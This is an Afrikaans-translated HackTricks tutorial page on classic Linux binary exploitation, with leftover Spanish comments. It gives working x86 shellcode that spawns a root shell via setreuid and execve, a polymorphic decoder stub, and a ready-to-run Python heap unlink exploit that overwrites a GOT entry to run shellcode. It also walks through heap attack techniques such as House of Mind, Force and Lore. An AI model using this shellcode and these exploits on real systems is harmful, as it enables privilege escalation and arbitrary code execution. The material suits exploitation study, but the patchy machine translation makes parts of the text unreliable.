33 KiB
Linux Uitbuiting (Basies) (SPA)
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github-opslag.
2.SHELLCODE
Sien kernel-onderbrekings: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; skoonmaak eax
xor ebx, ebx ; ebx = 0 want daar is geen argument om oor te dra
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Voer syscall uit
nasm -f elf assembly.asm —> Gee ons 'n .o terug
ld assembly.o -o shellcodeout —> Gee ons 'n uitvoerbare lêer wat deur die samestellerkode gevorm is en ons kan die opkodes met objdump kry
objdump -d -Mintel ./shellcodeout —> Om te sien dat dit werklik ons shellcode is en om die OpCodes te kry
Bevestig dat die shellcode werk
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Om te sien of die stelseloproepe korrek uitgevoer word, moet die vorige program gekompileer word en die stelseloproepe moet verskyn in strace ./GEKOMPILIEERDE_PROGRAM
Wanneer jy shellkodes skep, kan jy 'n truuk gebruik. Die eerste instruksie is 'n sprong na 'n oproep. Die oproep roep die oorspronklike kode aan en sit ook die EIP in die stapel. Na die oproepinstruksie het ons die string ingevoeg wat ons nodig het, sodat ons met daardie EIP na die string kan wys en ook kan aanhou om die kode uit te voer.
EJ TRUCO (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ gebruik die Stok(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Eierjagter:
Dit behels 'n klein kode wat die geheuebladsye van 'n proses deursoek op soek na die daar gestoorde shellcode (soek na 'n handtekening wat in die shellcode geplaas is). Nuttig in gevalle waar daar slegs 'n klein spasie is om kode in te spuit.
Polimorfiese shellkodes
Dit is versleutelde skulpe met 'n klein kode wat dit ontsluit en daarna daarna spring, deur die Call-Pop-truuk te gebruik, sou dit 'n versleutelde Caesar-voorbeeld wees:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.Aanvullende Metodes
Murat Tegniek
In Linux word alle programme in kaart gebring beginnende by 0xbfffffff
Deur te kyk hoe die stokperdjie van 'n nuwe proses in Linux gebou word, kan 'n uitbuit ontwikkel word sodat die program in 'n omgewing begin word waarvan die enigste veranderlike die shellcode is. Die adres daarvan kan dan bereken word as: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
Op hierdie manier kan die adres waar die omgewingsveranderlike met die shellcode is, maklik verkry word.
Dit kan gedoen word omdat die execle-funksie 'n omgewing kan skep wat net die omgewingsveranderlikes bevat wat verlang word
Formaat Strings tot Buffer Oorvloeiings
Die sprintf skuif 'n geformateerde string na 'n veranderlike. Daarom kan jy die formatering van 'n string misbruik om 'n buffer oorvloeiing in die veranderlike waar die inhoud na gekopieer word, te veroorsaak.
Byvoorbeeld, die lading %.44xAAAA
sal 44B+"AAAA" in die veranderlike skryf, wat 'n buffer oorvloeiing kan veroorsaak.
__atexit Strukture
{% hint style="danger" %} Dit is teenwoordig baie vreemd om dit uit te buit. {% endhint %}
atexit()
is 'n funksie waarvolgens ander funksies as parameters oorgedra word. Hierdie funksies sal uitgevoer word wanneer 'n exit()
uitgevoer word of die terugkeer van die hooffunksie.
As jy die adres van enige van hierdie funksies kan wysig om na 'n shellcode byvoorbeeld te wys, sal jy beheer van die proses kry, maar dit is tans meer ingewikkeld.
Tans is die adresse van die funksies wat uitgevoer moet word, verskuil agter verskeie strukture en uiteindelik is die adres waarna dit wys nie die adresse van die funksies nie, maar is geënkripteer met XOR en verskuiwings met 'n willekeurige sleutel. Dus is hierdie aanvalsvektor tans nie baie nuttig ten minste op x86 en x64_86 nie.
Die enkripsiefunksie is PTR_MANGLE
. Ander argitekture soos m68k, mips32, mips64, aarch64, arm, hppa... implementeer nie die enkripsiefunksie nie omdat dit dieselfde teruggee as wat dit as inset ontvang het. Dus sou hierdie argitekture vatbaar wees vir hierdie vektor.
setjmp() & longjmp()
{% hint style="danger" %} Dit is teenwoordig baie vreemd om dit uit te buit. {% endhint %}
Setjmp()
maak dit moontlik om die konteks (die registers) te stoor
longjmp()
maak dit moontlik om die konteks te herstel.
Die gestoorde registers is: EBX, ESI, EDI, ESP, EIP, EBP
Wat gebeur is dat EIP en ESP deur die PTR_MANGLE
-funksie gestuur word, dus is die argitektuur vatbaar vir hierdie aanval dieselfde as hierbo.
Hulle is nuttig vir foutherstel of onderbrekings.
Tog, van wat ek gelees het, is die ander registers nie beskerm nie, dus as daar 'n call ebx
, call esi
of call edi
binne die funksie wat geroep word, kan beheer oorgeneem word. Of jy kan ook EBP wysig om die ESP te wysig.
VTable en VPTR in C++
Elke klas het 'n Vtabel wat 'n reeks wysers na metodes is.
Elke objek van 'n klas het 'n VPtr wat 'n wyser na die reeks van sy klas is. Die VPtr is deel van die kop van elke objek, dus as 'n oorvloeiing van die VPtr bereik word, kan dit gewysig word om na 'n dummie-metode te wys sodat die uitvoering van 'n funksie na die shellcode gaan.
Voorkomende Maatreëls en Ontwappings
Vervanging van Libsafe
Dit word geaktiveer met: LD_PRELOAD=/lib/libsafe.so.2
of
“/lib/libsave.so.2” > /etc/ld.so.preload
Oproepe na sekere onveilige funksies word onderskep en vervang met veiligeres. Dit is nie gestandaardiseer nie. (slegs vir x86, nie vir samestellings met -fomit-frame-pointer, nie statiese samestellings nie, nie al die kwesbare funksies word veilig gemaak nie en LD_PRELOAD werk nie in bineêre met suid nie).
ASCII Gepantserde Adresruimte
Dit behels die laai van gedeelde biblioteke vanaf 0x00000000 tot 0x00ffffff sodat daar altyd 'n byte 0x00 is. Tog stop dit eintlik byna geen aanvalle nie, en veral nie in little endian nie.
ret2plt
Dit behels die uitvoer van 'n ROP sodat die strcpy@plt-funksie (van die plt) geroep word en na die ingang van die GOT gewys word en die eerste byte van die funksie waarna geroep moet word (system()) gekopieer word. Dan word dieselfde gedoen deur na GOT+1 te wys en die 2de byte van system() te kopieer... Uiteindelik word die adres wat in GOT gestoor is, geroep wat system() sal wees.
Hokke met chroot()
debootstrap -arch=i386 hardy /home/user —> Installeer 'n basiese stelsel in 'n spesifieke subgids
'n Admin kan uit een van hierdie hokke ontsnap deur te doen: mkdir foo; chroot foo; cd ..
Kode-instrumentasie
Valgrind —> Soek foute
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Oorvloeiings: Basiese Uitbuitings
Toegewysde Stuk
prev_size |
size | —Kop
*mem | Data
Vry Stuk
prev_size |
size |
*fd | Wyser na volgende stuk
*bk | Wyser na vorige stuk —Kop
*mem | Data
Die vry stukke is in 'n dubbelgekoppelde lys (bin) en daar kan nooit twee vry stukke langs mekaar wees nie (hulle word saamgevoeg)
In "size" is daar bietjies om aan te dui: Of die vorige stuk in gebruik is, of die stuk toegewys is deur middel van mmap() en of die stuk behoort aan die primêre arena.
As 'n stuk vrygestel word en enige van die aangrensende stukke is vry, word hulle saamgevoeg deur die makro unlink() en die nuwe, groter stuk word na frontlink() gestuur om in die toepaslike bin ingevoeg te word.
unlink(){
BK = P->bk; —> Die BK van die nuwe stuk is die een wat die vorige vry stuk gehad het
FD = P->fd; —> Die FD van die nuwe stuk is die een wat die vorige vry stuk gehad het
FD->bk = BK; —> Die BK van die volgende stuk wys na die nuwe stuk
BK->fd = FD; —> Die FD van die vorige stuk wys na die nuwe stuk
}
Dus, as ons die P->bk kan wysig met die adres van 'n shellcode en die P->fd met die adres na 'n inskrywing in die GOT of DTORS minus 12, word bereik:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
En dus word die shellcode uitgevoer wanneer die program afsluit.
Verder skryf die 4de sin van unlink() iets en die shellcode moet hiervoor herstel word:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Dit veroorsaak die skryf van 4 byte vanaf die 8ste byte van die shellcode, dus moet die eerste instruksie van die shellcode 'n sprong wees om hierdie te vermy en in 'n paar nops te val wat na die res van die shellcode lei.
Dus word die uitbuiting so geskep:
In die buffer1 plaas ons die shellcode wat begin met 'n sprong sodat dit na die nops of die res van die shellcode val.
Na die shellcode plaas ons vulmateriaal tot by die prev_size en size van die volgende stuk. Hier plaas ons 0xfffffff0 (sodat die prev_size oorskryf word om die bit te hê wat sê dat dit vry is) en "-4" (0xfffffffc) in die size (sodat wanneer dit in die 3de stuk ondersoek word of die 2de vry was, dit eintlik na die gewysigde prev_size gaan wat sal sê dat dit vry is) -> Dus wanneer free() ondersoek instel, sal dit na die size van die 3de gaan, maar eintlik na die 2de - 4 gaan en dink dat die 2de stuk vry is. En dan roep dit unlink() aan. Al roep van unlink() sal gebruik maak van die eerste data van die 2de stuk as P->fd, waar die adres wat oorskryf moet word, sal ingaan - 12 (want in FD->bk sal dit 12 by die adres wat in FD bewaar is, optel). En op daardie adres sal dit die tweede adres wat in die 2de stuk gevind word, invoer, wat die adres na die shellcode (P->bk vals) sal wees.
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes van vulling
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Dit is belangrik dat die bit wat aandui dat die vorige stuk vry is, 1 is
fake_size = pack("<I”, 0xfffffffc) #-4, sodat dit dink dat die "grootte" van die 3de stuk 4 byte agter is (dit wys na prev_size) want dit is waar dit kyk of die 2de stuk vry is
addr_sc = pack("<I", 0x0804a008 + 8) #In die payload gaan ons aan die begin 8 byte van vulling sit
got_free = pack("<I", 0x08048300 - 12) #Adres van free() in die plt-12 (dit sal die adres wees wat oorskryf word sodat die shellcode die 2de keer wat free() geroep word, uitgevoer word)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Soos gesê begin die payload met 8 byte van vulling net omdat
payload += prev_size + fake_size + got_free + addr_sc #Die 2de stuk word verander, die got_free wys na waar ons die adres addr_sc + 12 gaan stoor
os.system("./8.3.o " + payload)
unset() deur in omgekeerde volgorde vry te stel (wargame)
Ons beheer 3 aaneenlopende stukke en hulle word in omgekeerde volgorde vrygestel as wat hulle bespreek is.
In daardie geval:
In stuk c word die shellcode geplaas
Ons gebruik stuk a om stuk b te oorskryf sodat die grootte die PREV_INUSE-bit gedeaktiveer sodat dit dink dat stuk a vry is.
Daarbenewens word die grootte in die kop van b oorgeskryf om -4 te wees.
Dus, die program sal dink dat "a" vry is en in 'n bin is, en sal unlink() roep om dit af te koppel. Tog, omdat die kop PREV_SIZE -4 is, sal dit dink dat die stuk van "a" eintlik by b+4 begin. Met ander woorde, dit sal unlink() na 'n stuk roep wat by b+4 begin, sodat die punt "fd" by b+12 sal wees en die punt "bk" by b+16 sal wees.
Op hierdie manier, as ons die adres na die shellcode in bk plaas en die adres na die funksie "puts()" -12 in fd plaas, het ons ons payload.
Frontlink-tegniek
Frontlink word geroep wanneer iets vrygestel word en geen van sy aangrensende stukke vry is nie, unlink() word nie geroep nie, maar frontlink() word direk geroep.
'n Nuttige kwesbareheid wanneer die malloc wat aangeval word nooit vrygestel word nie (free()).
Benodig:
'n Buffer wat oorstroom kan word met die insetdatafunksie
'n Buffer wat aangrensend daaraan is wat vrygestel moet word en waarvan die fd-veld van sy kop verander sal word deur die oorloop van die vorige buffer
'n Buffer om vry te stel met 'n groter grootte as 512 maar kleiner as die vorige buffer
'n Buffer wat voor stap 3 verklaar is wat die prev_size van hierdie buffer kan oorskryf
Op hierdie manier, deur twee mallocs op 'n onbeheerde manier en een op 'n beheerde manier te oorskryf, kan ons 'n uitbuiting doen.
Kwesbare dubbele free()
As free() twee keer met dieselfde punt geroep word, bly twee bins na dieselfde adres wys.
As ons een wil hergebruik, sal dit sonder probleme toegewys word. As ons die ander wil gebruik, sal dieselfde spasie toegewys word, sodat die "fd" en "bk" vervals word met die data wat die vorige toewysing skryf.
Na free()
'n Voorheen vrygestelde punt word weer sonder beheer gebruik.
8 Heap-oorvloeiings: Gevorderde uitbuitings
Die Unlink() en FrontLink() tegnieke is verwyder deur die unlink() -funksie te wysig.
The house of mind
Slegs een oproep aan free() is nodig om arbitêre kode uit te voer. Dit is belangrik om 'n tweede stuk te soek wat deur 'n vorige stuk oorstroom kan word en vrygestel kan word.
'n Oproep aan free() veroorsaak dat public_fREe(mem) geroep word, dit doen:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Gee 'n punt na die adres waar die stuk begin (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
In [1] word die veld grootte van die bit NON_MAIN_ARENA nagegaan, wat verander kan word sodat die toets waar is en heap_for_ptr() uitgevoer word wat 'n and na "mem" doen wat die 2.5 minste belangrike byte nul maak (in ons geval van 0x0804a000 maak dit 0x08000000) en toegang kry tot 0x08000000->ar_ptr (asof dit 'n struct heap_info is)
Op hierdie manier, as ons byvoorbeeld 'n stuk kan beheer by 0x0804a000 en 'n stuk vrygestel word by 0x081002a0 kan ons by die adres 0x08100000 kom en skryf wat ons wil, byvoorbeeld 0x0804a000. Wanneer hierdie tweede stuk vrygestel word, sal dit vind dat heap_for_ptr(ptr)->ar_ptr die waarde is wat ons by 0x08100000 geskryf het (want dit pas die and toe wat ons vroeër gesien het en kry die waarde van die eerste 4 byte, die ar_ptr)
Op hierdie manier word _int_free(ar_ptr, mem) geroep, dit wil sê, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Soos ons vantevore gesien het, kan ons die waarde van av beheer, want dit is wat ons in die stuk wat vrygestel word, skryf.
Soos unsorted_chunks gedefinieer word, weet ons dat:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Daarom, as ons die waarde van __DTOR_END__-12 in av->bins[2] skryf, sal die laaste instruksie in __DTOR_END__ die adres van die tweede stuk skryf.
Met ander woorde, aan die begin van die eerste stuk moet ons die adres van __DTOR_END__-12 baie keer plaas, want dit is waar av->bins[2] dit sal kry.
By die adres waar die adres van die tweede stuk met die laaste 5 nulle val, moet ons die adres van hierdie eerste stuk skryf sodat heap_for_ptr() dink dat die ar_ptr aan die begin van die eerste stuk is en av->bins[2] daaruit haal. In die tweede stuk en dankie aan die eerste, oorskryf ons die prev_size met 'n jump 0x0c en die grootte met iets om -> NON_MAIN_ARENA te aktiveer.
Vervolgens plaas ons 'n klomp nops in stuk 2 en uiteindelik die shellcode.
Op hierdie manier sal _int_free(TROZO1, TROZO2) aangeroep word en die instruksies volg om die adres van die prev_size van TROZO2 in __DTOR_END__ te skryf wat na die shellcode sal spring.
Om hierdie tegniek toe te pas, moet daar aan 'n paar ekstra vereistes voldoen word wat die payload 'n bietjie meer kompliseer.
Hierdie tegniek is nie meer toepaslik nie omdat bykans dieselfde pleister as vir unlink toegepas is. Dit vergelyk of die nuwe plek waarna verwys word, ook na hom verwys.
Fastbin
Dit is 'n variasie van The house of mind
Ons wil die volgende kode uitvoer wat bereik word na die eerste toetsing van die _int_free() funksie.
fb = &(av->fastbins[fastbin_index(size)] —> Waar fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Op hierdie manier, as dit in "fb" geplaas word, gee dit die adres van 'n funksie in die GOT, waar die adres van die oorskryfde stuk geplaas sal word. Hiervoor moet die arena naby die dtor-adresse wees. Meer presies moet av->max_fast by die adres wees wat ons gaan oorskryf.
Aangesien met The House of Mind gesien is dat ons die posisie van die av beheer het.
As ons dus 'n grootte van 8 + NON_MAIN_ARENA + PREV_INUSE in die grootteveld plaas -> fastbin_index() sal fastbins[-1] teruggee, wat na av->max_fast sal wys.
In hierdie geval sal av->max_fast die adres wees wat oorskryf word (nie waarna dit wys nie, maar daardie posisie sal oorskryf word).
Dit moet ook voldoen dat die aangrensende stuk aan die vrygestelde stuk groter moet wees as 8 -> Aangesien ons gesê het dat die grootte van die vrygestelde stuk 8 is, moet ons net 'n grootte groter as 8 in hierdie valse stuk plaas (aangesien die shellcode ook in die vrygestelde stuk sal wees, moet ons aan die begin 'n jump plaas wat in nops val).
Daarbenewens moet daardie selfde valse stuk kleiner wees as av->system_mem. av->system_mem is 1848 byte verder.
As gevolg van die nulls van _DTOR_END_ en die min aantal adresse in die GOT, is geen van hierdie afdelingsadresse geskik om oorskryf te word nie, so laat ons kyk hoe om fastbin toe te pas om die stok aan te val.
'n Ander aanvalsmanier is om die av na die stok te rig.
As ons die grootte verander sodat dit 16 in plaas van 8 is, dan sal fastbin_index() fastbins[0] teruggee en kan ons dit gebruik om die stok te oorskryf.
Daar mag geen kanarie of vreemde waardes in die stok wees nie, ons moet eintlik hier wees: 4 nulbyte + EBP + RET
Die 4 nulbyte is nodig sodat die av na hierdie adres sal wees en die eerste element van 'n av is die mutex wat 0 moet wees.
Die av->max_fast sal die EBP wees en 'n waarde wees wat ons kan help om die beperkings te omseil.
In die av->fastbins[0] sal die adres van p oorskryf word en dit sal die RET wees, sodat dit na die shellcode sal spring.
Daarbenewens, in av->system_mem (1484 byte bo die posisie in die stok) sal daar genoeg rommel wees wat ons kan help om die toetsing te omseil.
Dit moet ook voldoen dat die aangrensende stuk aan die vrygestelde stuk groter moet wees as 8 -> Aangesien ons gesê het dat die grootte van die vrygestelde stuk 16 is, moet ons net 'n grootte groter as 8 in hierdie valse stuk plaas (aangesien die shellcode ook in die vrygestelde stuk sal wees, moet ons aan die begin 'n jump plaas wat in nops val wat na die grootteveld van die nuwe valse stuk val).
The House of Spirit
In hierdie geval wil ons 'n aanwyser na 'n malloc hê wat deur die aanvaller verander kan word (byvoorbeeld dat die aanwyser in die stok onder 'n moontlike oorloop na 'n veranderlike is).
Sodoende kan ons hierdie aanwyser laat wys waarheen ook al. Tog is nie enige plek aanvaarbaar nie, die grootte van die valse stuk moet kleiner wees as av->max_fast en meer spesifiek gelyk aan die grootte wat in 'n toekomstige oproep na malloc()+8 versoek word. Daarom, as ons weet dat na hierdie kwesbare aanwyser 'n oproep na malloc(40) gemaak word, moet die grootte van die valse stuk gelyk wees aan 48.
As die program byvoorbeeld die gebruiker vra vir 'n nommer, kan ons 48 invoer en die malloc-veranderlike aanwyser na die volgende 4 byte wys (wat dalk aan die EBP behoort, sodat die 48 agterbly, asof dit die kopgrootte is). Daarbenewens moet die adres ptr-4+48 aan verskeie voorwaardes voldoen (in hierdie geval is ptr=EBP), dit wil sê, 8 < ptr-4+48 < av->system_mem.
Indien hieraan voldoen word, wanneer die volgende malloc wat ons gesê het malloc(40) is, geroep word, sal die adres wat aan die EBP wys, toegewys word. Indien die aanvaller ook kan beheer wat in hierdie malloc geskryf word, kan hy beide die EBP en die EIP met die gewenste adres oorskryf.
Ek dink dit is omdat wanneer dit vrygelaat word, free() sal onthou dat daar 'n stuk van die perfekte grootte vir die nuwe malloc() wat gereserveer moet word, in die adres wat na die EBP van die stok wys, is, en dit sal daardie adres toewys.
The House of Force
Dit is nodig:
- 'n oorloop na 'n stuk wat die wilderness kan oorskryf
- 'n oproep na malloc() met die grootte wat deur die gebruiker gedefinieer is
- 'n oproep na malloc() waarvan die data deur die gebruiker gedefinieer kan word
Die eerste ding wat gedoen word, is om die grootte van die wilderness-stuk met 'n baie groot waarde (0xffffffff) te oorskryf, sodat enige groot geheueversoek in _int_malloc() hanteer sal word sonder om die heap uit te brei.
Die tweede is om die av->top te verander sodat dit na 'n geheuegebied onder die beheer van die aanvaller wys, soos die stok. In av->top sal &EIP - 8 geplaas word.
Ons moet av->top oorskryf sodat dit na die geheuegebied onder die beheer van die aanvaller wys:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim kry die waarde van die adres van die huidige wilderness-stuk (die huidige av->top) en remainder is presies die som van daardie adres plus die aantal byte wat deur malloc() versoek is. Dus, as &EIP-8 in 0xbffff224 is en av->top 0x080c2788 bevat, dan is die hoeveelheid wat gereserveer moet word in die beheerde malloc sodat av->top na $EIP-8 vir die volgende malloc() wys:
0xbffff224 - 0x080c2788 = 3086207644.
Op hierdie manier word die veranderde waarde in av->top gestoor en sal die volgende malloc na die EIP wys en dit kan oorskryf.
Dit is belangrik dat die grootte van die nuwe wilderness-stuk groter is as die versoek wat deur die laaste malloc() gemaak is. Dit wil sê, as die wilderness na &EIP-8 wys, sal die grootte presies in die EBP-veld van die stok wees.
The House of Lore
SmallBin-korrupsie
Die vrygestelde stukke word in die bin geplaas op grond van hul grootte. Maar voordat dit ingesit word, word dit in unsorted bins bewaar. 'n Stuk word nie dadelik in sy bin geplaas as dit vrygestel word nie, maar bly in unsorted bins. Daarna, as 'n nuwe stuk gereserveer word en die vorige vrygestelde stuk kan help, word dit teruggegee, maar as 'n groter stuk gereserveer word, word die vrygestelde stuk in die toepaslike bin geplaas.
Om die kwesbare kode te bereik, moet die geheueversoek groter wees as av->max_fast (gewoonlik 72) en minder as MIN_LARGE_SIZE (512). Indien daar 'n stuk in die bin is wat die regte grootte het vir wat gevra word, word dit teruggegee nadat dit ontkoppel is:
bck = victim->bk; Dit wys na die vorige stuk, dit is die enigste inligting wat ons kan verander.
bin->bk = bck; Die voorlaaste stuk word die laaste, as bck na die stapel na die volgende gereserveerde stuk wys, sal hierdie adres aan hom gegee word
bck->fd = bin; Die lys word gesluit deur dit na bin te laat wys
Benodig:
Twee mallocs moet gereserveer word, sodat die eerste oorstroom kan word nadat die tweede vrygestel en in sy bin geplaas is (dit wil sê, 'n malloc wat groter as die tweede stuk gereserveer is voordat die oorstroom plaasvind)
Die malloc wat die aanvaller se gekose adres kry, moet deur die aanvaller beheer word.
Die doel is as volg, as ons 'n oorstroom na 'n heap kan doen wat 'n vrygestel stuk onder hom het en in sy bin, kan ons sy bk-punt verander. As ons sy bk-punt verander en hierdie stuk die eerste in die bin-lys word en gereserveer word, sal bin mislei word en dit sal glo dat die laaste stuk in die lys (die volgende om aan te bied) in die valse adres is wat ons ingesit het (byvoorbeeld na die stapel of GOT). Dus, as 'n ander stuk weer gereserveer word en die aanvaller het toestemmings daarop, sal dit 'n stuk op die gewenste posisie kry en daarin kan skryf.
Nadat die veranderde stuk vrygestel is, moet 'n groter stuk as die vrygestelde stuk gereserveer word, sodat die veranderde stuk uit unsorted bins sal kom en in sy bin ingesit sal word.
Sodra dit in sy bin is, is dit tyd om die bk-punt deur die oorstroom te verander sodat dit na die gewenste adres wys.
Dus, die bin moet wag vir genoeg oproepe na malloc() voordat die gewysigde bin weer gebruik word en bin mislei word om te glo dat die volgende stuk in die valse adres is. En dan sal die stuk wat ons belangstel, gegee word.
Om die kwesbaarheid so vinnig moontlik uit te voer, sou dit ideaal wees: Reservering van die kwesbare stuk, reservering van die stuk wat verander sal word, hierdie stuk word vrygestel, 'n groter stuk as die een wat verander sal word, word gereserveer, die stuk word verander (kwesbaarheid), 'n stuk van dieselfde grootte as die aangetaste stuk word gereserveer en 'n tweede stuk van dieselfde grootte word gereserveer en dit sal na die gekose adres wys.
Om hierdie aanval te beskerm, is die tipiese kontrole gebruik dat die stuk "nie" vals is nie: daar word nagegaan of bck->fd na die slagoffer wys. Dit wil sê, in ons geval, as die fd-punt van die valse stuk wat na die stapel wys, na die slagoffer wys. Om hierdie beskerming te omseil, moet die aanvaller op een of ander manier (waarskynlik deur die stapel) in die regte adres die adres van die slagoffer kan skryf. Sodat dit soos 'n ware stuk lyk.
Korrupsie LargeBin
Dieselfde vereistes as voorheen is nodig en nog 'n paar, bovendien moet die gereserveerde stukke groter as 512 wees.
Die aanval is soos die vorige, dit wil sê, die bk-punt moet verander word en al daardie oproepe na malloc() is nodig, maar daar moet ook die grootte van die veranderde stuk verander word sodat daardie grootte - nb < MINSIZE is.
Byvoorbeeld, dit sal 1552 in grootte wees sodat 1552 - 1544 = 8 < MINSIZE (die aftrekking kan nie negatief wees nie omdat 'n ondertekende getal vergelyk word)
Daar is ook 'n pleister ingesit om dit nog moeiliker te maak.
Heap Spraying
Dit behels basies om soveel moontlik geheue vir heaps te reserveer en dit met 'n matras van nops gevul met 'n shellcode te vul. Daarbenewens word 0x0c as matras gebruik. Daar sal gepoog word om na die adres 0x0c0c0c0c te spring, en dus as enige adres met hierdie matras oorskryf word waarheen geroep gaan word, sal dit daarheen spring. Die taktiek is basies om soveel moontlik te reserveer om te sien of enige punters oorskryf word en na 0x0c0c0c0c te spring in die hoop dat daar nops is.
Heap Feng Shui
Dit behels om deur reserverings en vrystellings die geheue so te rangskik dat daar gereserveerde stukke tussen vrye stukke oorbly. Die buffer wat oorstroom moet word, sal in een van die leë ruimtes wees.
objdump -d uitvoerbare —> Ontleed funksies
objdump -d ./PROGRAMA | grep FUNSIE —> Kry funksie-adres
objdump -d -Mintel ./shellcodeout —> Om te sien of dit werklik ons shellcode is en die OpCodes te kry
objdump -t ./exec | grep varBss —> Simbooltabel, om die adres van veranderlikes en funksies te kry
objdump -TR ./exec | grep exit(func lib) —> Om die adres van biblioteekfunksies te kry (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Kry die adres van puts wat in die GOT oorskryf moet word
objdump -D ./exec —> Ontleed ALLES tot by die plt-inskrywings
objdump -p -/exec
Inligting funksies strncmp —> Inligting oor die funksie in gdb
Interessante kursusse
Verwysings
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.